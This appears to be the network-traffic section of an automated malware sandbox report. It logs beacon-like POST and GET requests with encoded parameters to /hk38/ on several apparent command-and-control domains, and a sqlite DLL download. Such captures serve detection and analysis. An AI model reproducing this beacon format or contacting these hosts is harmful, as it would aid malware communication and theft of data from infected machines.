Network Analysis

POST /hk38/ HTTP/1.1 Host: www.1waif.top Connection: close Content-Length: 173 Cache-Control: no-cache Origin: http://www.1waif.top User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; InfoPath.3) Content-Type: application/x-www-form-urlencoded Accept: */* Referer: http://www.1waif.top/hk38/ Accept-Language: en-US Accept-Encoding: gzip, deflate

HTTP/1.1 404 Not Found Server: nginx Date: Wed, 17 May 2023 00:00:45 GMT Content-Type: text/html Content-Length: 548 Connection: close

GET /hk38/?YmI=zzkZuzLAoma85XiX7lxIbQG/EJHsOO2+Q6oiR8OLkS/KwAhRwr9lPadDsgBC/R6Ehz+P4CWVVfJwNXurykV5FbLn1BWKF7Aw1kgOiys=&vVMKMC=JtlMqX9aXUH6E HTTP/1.1 Host: www.1waif.top Connection: close

HTTP/1.1 404 Not Found Server: nginx Date: Wed, 17 May 2023 00:00:48 GMT Content-Type: text/html Content-Length: 146 Connection: close

GET /2020/sqlite-dll-win32-x86-3330000.zip HTTP/1.1 Accept: */* Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; InfoPath.3) Host: www.sqlite.org Connection: Keep-Alive

HTTP/1.1 200 OK Connection: keep-alive Date: Wed, 17 May 2023 00:00:49 GMT Last-Modified: Wed, 25 Nov 2020 14:02:10 GMT Cache-Control: max-age=120 ETag: "m5fbe63e2s7a4fd" Content-type: application/zip; charset=utf-8 Content-length: 500989

POST /hk38/ HTTP/1.1 Host: www.memshaconsultancy.com Connection: close Content-Length: 3413 Cache-Control: no-cache Origin: http://www.memshaconsultancy.com User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; InfoPath.3) Content-Type: application/x-www-form-urlencoded Accept: */* Referer: http://www.memshaconsultancy.com/hk38/ Accept-Language: en-US Accept-Encoding: gzip, deflate

HTTP/1.1 404 Not Found Server: nginx Date: Wed, 17 May 2023 00:00:59 GMT Content-Type: text/html; charset=iso-8859-1 Content-Length: 315 Connection: close

POST /hk38/ HTTP/1.1 Host: www.memshaconsultancy.com Connection: close Content-Length: 185 Cache-Control: no-cache Origin: http://www.memshaconsultancy.com User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; InfoPath.3) Content-Type: application/x-www-form-urlencoded Accept: */* Referer: http://www.memshaconsultancy.com/hk38/ Accept-Language: en-US Accept-Encoding: gzip, deflate

HTTP/1.1 404 Not Found Server: nginx Date: Wed, 17 May 2023 00:01:02 GMT Content-Type: text/html; charset=iso-8859-1 Content-Length: 315 Connection: close

GET /hk38/?YmI=ylcRdOeQ8XQ4MBe6+o+woVrTwHnafctqX6zKfONVwMcCeye0booFMTvbXdYSGzr1oUKVttZ5cokf78mxnXYdaQyvIAyyJB6YSbiDTd4=&vVMKMC=JtlMqX9aXUH6E HTTP/1.1 Host: www.memshaconsultancy.com Connection: close

HTTP/1.1 404 Not Found Server: nginx Date: Wed, 17 May 2023 00:01:05 GMT Content-Type: text/html; charset=iso-8859-1 Content-Length: 315 Connection: close

POST /hk38/ HTTP/1.1 Host: www.lgys174.top Connection: close Content-Length: 3413 Cache-Control: no-cache Origin: http://www.lgys174.top User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; InfoPath.3) Content-Type: application/x-www-form-urlencoded Accept: */* Referer: http://www.lgys174.top/hk38/ Accept-Language: en-US Accept-Encoding: gzip, deflate

POST /hk38/ HTTP/1.1 Host: www.lgys174.top Connection: close Content-Length: 185 Cache-Control: no-cache Origin: http://www.lgys174.top User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; InfoPath.3) Content-Type: application/x-www-form-urlencoded Accept: */* Referer: http://www.lgys174.top/hk38/ Accept-Language: en-US Accept-Encoding: gzip, deflate

HTTP/1.1 404 Not Found Server: nginx Date: Wed, 17 May 2023 00:01:13 GMT Content-Type: text/html Content-Length: 548 Connection: close

GET /hk38/?YmI=C7+QLmlVH+QiRxI6PBDl5AOYi+WV4kkm2HpNG2cJ9XVlHr0M8Q0IkKn366y7kv3boAdk3F4dVuwUlUtIJQk6NWa3tLVuPdH+n5rm7/w=&vVMKMC=JtlMqX9aXUH6E HTTP/1.1 Host: www.lgys174.top Connection: close

HTTP/1.1 404 Not Found Server: nginx Date: Wed, 17 May 2023 00:01:15 GMT Content-Type: text/html Content-Length: 146 Connection: close

POST /hk38/ HTTP/1.1 Host: www.cryptohere.net Connection: close Content-Length: 3413 Cache-Control: no-cache Origin: http://www.cryptohere.net User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; InfoPath.3) Content-Type: application/x-www-form-urlencoded Accept: */* Referer: http://www.cryptohere.net/hk38/ Accept-Language: en-US Accept-Encoding: gzip, deflate

HTTP/1.1 403 Forbidden Date: Wed, 17 May 2023 00:01:21 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache x-turbo-charged-by: LiteSpeed CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=vItC%2BYGmsI5InRrPoOCdI8%2FO2QwqfhdOSqJvMy2yvZaqHIYzTOEgwc5FBEjiS%2FiPqT3Pl8HKydXwx%2Blf0DsU8IS7obSl6%2FWvR0YzTYmblCuj5N1YYTgQYUZKGF6JjJc%2BPM3tkNg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7c8795da0d5c1a01-KIX Content-Encoding: gzip alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400

POST /hk38/ HTTP/1.1 Host: www.cryptohere.net Connection: close Content-Length: 185 Cache-Control: no-cache Origin: http://www.cryptohere.net User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; InfoPath.3) Content-Type: application/x-www-form-urlencoded Accept: */* Referer: http://www.cryptohere.net/hk38/ Accept-Language: en-US Accept-Encoding: gzip, deflate

HTTP/1.1 403 Forbidden Date: Wed, 17 May 2023 00:01:23 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache x-turbo-charged-by: LiteSpeed CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=2ReNsVvgim8hLLTTF9TDRVISSYBIjAaMR%2BW4cAZiGtzffCe8fq6%2Bx35BMb5AB%2BFYS%2Fnpw%2BuF%2BInkNngN1WYaqNt80kQSDLbRsNlSytbG%2BDVTk9MRCH5GJsS7MECBH2h29UhK3qM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7c8795e9c9ac1a29-KIX Content-Encoding: gzip alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400

GET /hk38/?YmI=ueolYRFMqDgL2w2WSyY2ND5otMaXj9PSMr4D1l6DUAw2kT04GXN59A0oGKPjQT9+3NvvA9XVQSpCofUlgfc89cVHCNXt6Tw+bOwl+vU=&vVMKMC=JtlMqX9aXUH6E HTTP/1.1 Host: www.cryptohere.net Connection: close

HTTP/1.1 301 Moved Permanently Date: Wed, 17 May 2023 00:01:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close expires: Wed, 11 Jan 1984 05:00:00 GMT cache-control: no-cache, must-revalidate, max-age=0 x-redirect-by: WordPress location: http://cryptohere.net/hk38/?YmI=ueolYRFMqDgL2w2WSyY2ND5otMaXj9PSMr4D1l6DUAw2kT04GXN59A0oGKPjQT9+3NvvA9XVQSpCofUlgfc89cVHCNXt6Tw+bOwl+vU=&vVMKMC=JtlMqX9aXUH6E x-litespeed-cache: miss x-turbo-charged-by: LiteSpeed CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=BWp1U1eOk%2FowFo19FokayYpT5iBmJRrkyoW29XEfEEeWgFLAsrm70w2CBHSJFJVpSfqU4IdFhwFZsjsaPKtPPI7a9q3ojrPVE01P53TveeDxvyad09CJk0UenpiiOZFGZa21OLU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7c8795f98871832c-KIX alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400

POST /hk38/ HTTP/1.1 Host: www.ascents.info Connection: close Content-Length: 3413 Cache-Control: no-cache Origin: http://www.ascents.info User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; InfoPath.3) Content-Type: application/x-www-form-urlencoded Accept: */* Referer: http://www.ascents.info/hk38/ Accept-Language: en-US Accept-Encoding: gzip, deflate

HTTP/1.1 404 Not Found Date: Wed, 17 May 2023 00:01:39 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html

POST /hk38/ HTTP/1.1 Host: www.ascents.info Connection: close Content-Length: 185 Cache-Control: no-cache Origin: http://www.ascents.info User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; InfoPath.3) Content-Type: application/x-www-form-urlencoded Accept: */* Referer: http://www.ascents.info/hk38/ Accept-Language: en-US Accept-Encoding: gzip, deflate

HTTP/1.1 404 Not Found Date: Wed, 17 May 2023 00:01:41 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html

GET /hk38/?YmI=KrPc6+l/LbhA4QqNRpcmhen1wfbyqFB9qWau7oi8GuhJrnImuTvqwBhjinANrYUid0CBNXiHItrEvn/DOgRkhYxcfTTricRTxtRtwg8=&vVMKMC=JtlMqX9aXUH6E HTTP/1.1 Host: www.ascents.info Connection: close

HTTP/1.1 404 Not Found Date: Wed, 17 May 2023 00:01:44 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html; charset=utf-8

POST /hk38/ HTTP/1.1 Host: www.nescotopp.shop Connection: close Content-Length: 3413 Cache-Control: no-cache Origin: http://www.nescotopp.shop User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; InfoPath.3) Content-Type: application/x-www-form-urlencoded Accept: */* Referer: http://www.nescotopp.shop/hk38/ Accept-Language: en-US Accept-Encoding: gzip, deflate

POST /hk38/ HTTP/1.1 Host: www.nescotopp.shop Connection: close Content-Length: 185 Cache-Control: no-cache Origin: http://www.nescotopp.shop User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; InfoPath.3) Content-Type: application/x-www-form-urlencoded Accept: */* Referer: http://www.nescotopp.shop/hk38/ Accept-Language: en-US Accept-Encoding: gzip, deflate

HTTP/1.1 405 Not Allowed Server: hcdn Date: Wed, 17 May 2023 00:01:53 GMT Content-Type: text/html Content-Length: 551 Connection: close x-hcdn-request-id: 2d6eabb259b0d5d7f4afacae36b682b0-fast-edge2

GET /hk38/?YmI=DrtU8bnbnXpbNShePnwsRj13bS+UCxOuZvzH6bEjmv010pTnm4zit6bh6EVUeYhYrTCAEppr9rHC6Bu3VgZaW+HjzX/PpsxeO8UHktE=&vVMKMC=JtlMqX9aXUH6E HTTP/1.1 Host: www.nescotopp.shop Connection: close

HTTP/1.1 200 OK Server: hcdn Date: Wed, 17 May 2023 00:01:56 GMT Content-Type: text/html Content-Length: 10066 Connection: close Vary: Accept-Encoding x-hcdn-request-id: fd58ebfb972052d2ec26b21c0f745216-fast-edge2 Expires: Wed, 17 May 2023 00:01:55 GMT Cache-Control: no-cache Accept-Ranges: bytes